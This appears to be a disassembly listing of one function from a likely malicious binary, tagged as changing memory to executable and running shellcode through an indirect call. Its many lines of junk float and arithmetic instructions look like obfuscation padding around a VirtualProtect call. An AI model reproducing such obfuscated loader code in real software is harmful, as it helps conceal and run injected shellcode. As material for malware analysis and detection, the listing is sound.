Function at 0x401c73
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
fld dword [0x4a287c]
fstp dword [ebp - 0xc]
fld dword [0x4a2880]
fstp dword [ebp - 0xc]
fld dword [0x4a2884]
fstp dword [ebp - 0xc]
mov eax, 1
test al, al
je 0x401caf
fld dword [0x4a2888]
fstp dword [ebp - 0xc]
fld dword [0x4a288c]
fstp dword [ebp - 0xc]
fld dword [0x4a2890]
fstp dword [ebp - 0xc]
mov eax, 1
test al, al
je 0x401cd3
fld dword [0x4a2894]
fstp dword [ebp - 0xc]
fld dword [0x4a2898]
fstp dword [ebp - 0xc]
fld dword [0x4a289c]
fstp dword [ebp - 0xc]
mov eax, 1
test al, al
je 0x401cf7
fld dword [0x4a28a0]
fstp dword [ebp - 0xc]
fld dword [0x4a28a4]
fstp dword [ebp - 0xc]
fld dword [0x4a28a8]
fstp dword [ebp - 0xc]
mov eax, 1
test al, al
je 0x401d1b
fld dword [0x4a28ac]
fstp dword [ebp - 0xc]
fld dword [0x4a28b0]
fstp dword [ebp - 0xc]
fld dword [0x4a28b4]
fstp dword [ebp - 0xc]
mov eax, 1
test al, al
je 0x401d3f
fld dword [0x4a28b8]
fstp dword [ebp - 0xc]
fld dword [0x4a28bc]
fstp dword [ebp - 0xc]
fld dword [0x4a28c0]
fstp dword [ebp - 0x10]
fld dword [0x4a28c4]
fstp dword [ebp - 0x10]
fld dword [0x4a28c8]
fstp dword [ebp - 0x10]
mov eax, 1
test al, al
je 0x401d75
fld dword [0x4a28cc]
fstp dword [ebp - 0x10]
fld dword [0x4a28d0]
fstp dword [ebp - 0x10]
fld dword [0x4a28d4]
fstp dword [ebp - 0x10]
mov eax, 1
test al, al
je 0x401d99
fld dword [0x4a28d8]
fstp dword [ebp - 0x10]
fld dword [0x4a28dc]
fstp dword [ebp - 0x10]
fld dword [0x4a28e0]
fstp dword [ebp - 0x10]
mov eax, 1
test al, al
je 0x401dbd
fld dword [0x4a28e4]
fstp dword [ebp - 0x10]
fld dword [0x4a28e8]
fstp dword [ebp - 0x10]
fld dword [0x4a28ec]
fstp dword [ebp - 0x10]
mov eax, 1
test al, al
je 0x401de1
fld dword [0x4a28f0]
fstp dword [ebp - 0x10]
fld dword [0x4a28f4]
fstp dword [ebp - 0x10]
fld dword [0x4a28f8]
fstp dword [ebp - 0x10]
mov eax, 1
test al, al
je 0x401e05
fld dword [0x4a28fc]
fstp dword [ebp - 0x10]
fld dword [0x4a2900]
fstp dword [ebp - 0x10]
fld dword [0x4a2904]
fstp dword [ebp - 0x14]
fld dword [0x4a2908]
fstp dword [ebp - 0x14]
fld dword [0x4a290c]
fstp dword [ebp - 0x14]
mov eax, 1
test al, al
je 0x401e3b
fld dword [0x4a2910]
fstp dword [ebp - 0x14]
fld dword [0x4a2914]
fstp dword [ebp - 0x14]
fld dword [0x4a2918]
fstp dword [ebp - 0x14]
mov eax, 1
test al, al
je 0x401e5f
fld dword [0x4a291c]
fstp dword [ebp - 0x14]
fld dword [0x4a2920]
fstp dword [ebp - 0x14]
fld dword [0x4a2924]
fstp dword [ebp - 0x14]
mov eax, 1
test al, al
je 0x401e83
fld dword [0x4a2928]
fstp dword [ebp - 0x14]
fld dword [0x4a292c]
fstp dword [ebp - 0x14]
fld dword [0x4a2930]
fstp dword [ebp - 0x14]
mov eax, 1
test al, al
je 0x401ea7
fld dword [0x4a2934]
fstp dword [ebp - 0x14]
fld dword [0x4a2938]
fstp dword [ebp - 0x14]
fld dword [0x4a293c]
fstp dword [ebp - 0x14]
mov eax, 1
test al, al
je 0x401ecb
fld dword [0x4a2940]
fstp dword [ebp - 0x14]
fld dword [0x4a2944]
fstp dword [ebp - 0x14]
fld dword [0x4a2948]
fstp dword [ebp - 0x18]
fld dword [0x4a294c]
fstp dword [ebp - 0x18]
fld dword [0x4a2950]
fstp dword [ebp - 0x18]
mov eax, 1
test al, al
je 0x401f01
fld dword [0x4a2954]
fstp dword [ebp - 0x18]
fld dword [0x4a2958]
fstp dword [ebp - 0x18]
fld dword [0x4a295c]
fstp dword [ebp - 0x18]
mov eax, 1
test al, al
je 0x401f25
fld dword [0x4a2960]
fstp dword [ebp - 0x18]
fld dword [0x4a2964]
fstp dword [ebp - 0x18]
fld dword [0x4a2968]
fstp dword [ebp - 0x18]
mov eax, 1
test al, al
je 0x401f49
fld dword [0x4a296c]
fstp dword [ebp - 0x18]
fld dword [0x4a2970]
fstp dword [ebp - 0x18]
fld dword [0x4a2974]
fstp dword [ebp - 0x18]
mov eax, 1
test al, al
je 0x401f6d
fld dword [0x4a2978]
fstp dword [ebp - 0x18]
fld dword [0x4a297c]
fstp dword [ebp - 0x18]
fld dword [0x4a2980]
fstp dword [ebp - 0x18]
mov eax, 1
test al, al
je 0x401f91
fld dword [0x4a2984]
fstp dword [ebp - 0x18]
fld dword [0x4a2988]
fstp dword [ebp - 0x18]
fld dword [0x4a298c]
fstp dword [ebp - 0x1c]
fld dword [0x4a2990]
fstp dword [ebp - 0x1c]
fld dword [0x4a2994]
fstp dword [ebp - 0x1c]
mov eax, 1
test al, al
je 0x401fc7
fld dword [0x4a2998]
fstp dword [ebp - 0x1c]
fld dword [0x4a299c]
fstp dword [ebp - 0x1c]
fld dword [0x4a29a0]
fstp dword [ebp - 0x1c]
mov eax, 1
test al, al
je 0x401feb
fld dword [0x4a29a4]
fstp dword [ebp - 0x1c]
fld dword [0x4a29a8]
fstp dword [ebp - 0x1c]
fld dword [0x4a29ac]
fstp dword [ebp - 0x1c]
mov eax, 1
test al, al
je 0x40200f
fld dword [0x4a29b0]
fstp dword [ebp - 0x1c]
fld dword [0x4a29b4]
fstp dword [ebp - 0x1c]
fld dword [0x4a29b8]
fstp dword [ebp - 0x1c]
mov eax, 1
test al, al
je 0x402033
fld dword [0x4a29bc]
fstp dword [ebp - 0x1c]
fld dword [0x4a29c0]
fstp dword [ebp - 0x1c]
fld dword [0x4a29c4]
fstp dword [ebp - 0x1c]
mov eax, 1
test al, al
je 0x402057
fld dword [0x4a29c8]
fstp dword [ebp - 0x1c]
fld dword [0x4a29cc]
fstp dword [ebp - 0x1c]
fld dword [0x4a29d0]
fstp dword [ebp - 0x20]
fld dword [0x4a29d4]
fstp dword [ebp - 0x20]
fld dword [0x4a29d8]
fstp dword [ebp - 0x20]
mov eax, 1
test al, al
je 0x40208d
fld dword [0x4a29dc]
fstp dword [ebp - 0x20]
fld dword [0x4a29e0]
fstp dword [ebp - 0x20]
fld dword [0x4a29e4]
fstp dword [ebp - 0x20]
mov eax, 1
test al, al
je 0x4020b1
fld dword [0x4a29e8]
fstp dword [ebp - 0x20]
fld dword [0x4a29ec]
fstp dword [ebp - 0x20]
fld dword [0x4a29f0]
fstp dword [ebp - 0x20]
mov eax, 1
test al, al
je 0x4020d5
fld dword [0x4a29f4]
fstp dword [ebp - 0x20]
fld dword [0x4a29f8]
fstp dword [ebp - 0x20]
fld dword [0x4a29fc]
fstp dword [ebp - 0x20]
mov eax, 1
test al, al
je 0x4020f9
fld dword [0x4a2a00]
fstp dword [ebp - 0x20]
fld dword [0x4a2a04]
fstp dword [ebp - 0x20]
fld dword [0x4a2a08]
fstp dword [ebp - 0x20]
mov eax, 1
test al, al
je 0x40211d
fld dword [0x4a2a0c]
fstp dword [ebp - 0x20]
fld dword [0x4a2a10]
fstp dword [ebp - 0x20]
fld dword [0x4a2a14]
fstp dword [ebp - 0x24]
fld dword [0x4a2a18]
fstp dword [ebp - 0x24]
fld dword [0x4a2a1c]
fstp dword [ebp - 0x24]
mov eax, 1
test al, al
je 0x402153
fld dword [0x4a2a20]
fstp dword [ebp - 0x24]
fld dword [0x4a2a24]
fstp dword [ebp - 0x24]
fld dword [0x4a2a28]
fstp dword [ebp - 0x24]
mov eax, 1
test al, al
je 0x402177
fld dword [0x4a2a2c]
fstp dword [ebp - 0x24]
fld dword [0x4a2a30]
fstp dword [ebp - 0x24]
fld dword [0x4a2a34]
fstp dword [ebp - 0x24]
mov eax, 1
test al, al
je 0x40219b
fld dword [0x4a2a38]
fstp dword [ebp - 0x24]
fld dword [0x4a2a3c]
fstp dword [ebp - 0x24]
fld dword [0x4a2a40]
fstp dword [ebp - 0x24]
mov eax, 1
test al, al
je 0x4021bf
fld dword [0x4a2a44]
fstp dword [ebp - 0x24]
fld dword [0x4a2a48]
fstp dword [ebp - 0x24]
fld dword [0x4a2a4c]
fstp dword [ebp - 0x24]
mov eax, 1
test al, al
je 0x4021e3
fld dword [0x4a2a50]
fstp dword [ebp - 0x24]
fld dword [0x4a2a54]
fstp dword [ebp - 0x24]
fld dword [0x4a2a58]
fstp dword [ebp - 0x28]
fld dword [0x4a2a5c]
fstp dword [ebp - 0x28]
fld dword [0x4a2a60]
fstp dword [ebp - 0x28]
mov eax, 1
test al, al
je 0x402219
fld dword [0x4a2a64]
fstp dword [ebp - 0x28]
fld dword [0x4a2a68]
fstp dword [ebp - 0x28]
fld dword [0x4a2a6c]
fstp dword [ebp - 0x28]
mov eax, 1
test al, al
je 0x40223d
fld dword [0x4a2a70]
fstp dword [ebp - 0x28]
fld dword [0x4a2a74]
fstp dword [ebp - 0x28]
fld dword [0x4a2a78]
fstp dword [ebp - 0x28]
mov eax, 1
test al, al
je 0x402261
fld dword [0x4a2a7c]
fstp dword [ebp - 0x28]
fld dword [0x4a2a80]
fstp dword [ebp - 0x28]
fld dword [0x4a2a84]
fstp dword [ebp - 0x28]
mov eax, 1
test al, al
je 0x402285
fld dword [0x4a2a88]
fstp dword [ebp - 0x28]
fld dword [0x4a2a8c]
fstp dword [ebp - 0x28]
fld dword [0x4a2a90]
fstp dword [ebp - 0x28]
mov eax, 1
test al, al
je 0x4022a9
fld dword [0x4a2a94]
fstp dword [ebp - 0x28]
fld dword [0x4a2a98]
fstp dword [ebp - 0x28]
dec edi
or eax, 0xc
sub eax, 0x3a
and esi, 0x19
bswap ebx
or eax, 0x6d
mov ebx, 0xf4
rcl eax, 0x97
rcr esi, 0xca
rol esi, 0xba
dec ebx
rol edi, 0x5f
dec esi
ror esi, 0x8e
sbb esi, 9
inc eax
add eax, 0xb8
imul edi
inc edi
rcr edi, 0x2d
sub esi, 6
imul edi
sub eax, 0xc1
inc edi
add eax, 0x22
bswap eax
and edi, 0x1e
rcr esi, 0x27
neg edx
sbb edi, 0x95
inc edi
bswap edi
imul eax
add eax, 0x49
dec edi
rcr edx, 4
ror edi, 0x64
not esi
not esi
or ebx, 0xa9
bswap esi
rcl eax, 0xc5
sub edx, 0x78
and edx, 0xf7
rcl ebx, 0x40
ror edx, 0x65
mov edi, 0xa4
bswap eax
neg ebx
neg esi
sub eax, 0xc8
dec edi
sub ebx, 0x1d
neg edi
rcl edi, 0x81
mov ebx, 0x84
and eax, 0x44
neg edx
and ebx, 0x6c
mov edx, 0x95
sub edi, 0x71
neg eax
bswap eax
inc eax
imul ebx
dec eax
dec esi
not ebx
bswap edi
mov eax, 0x1d
bswap esi
bswap esi
neg eax
dec edx
dec eax
and ebx, 0xdb
and edx, 0x35
or ebx, 0x84
and edi, 0x26
imul esi
rcr eax, 0x2b
bswap ebx
inc ebx
bswap edx
and eax, 0x50
neg edx
sub ebx, 0x9f
imul edx
imul ebx
sub ebx, 0xa6
neg eax
mov esi, 0xd9
dec eax
sub ebx, 0xbc
dec eax
not edi
mov esi, 0x35
dec esi
not edi
rol edi, 0x87
mov eax, dword [ebp + 0x14]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
nop
leave
ret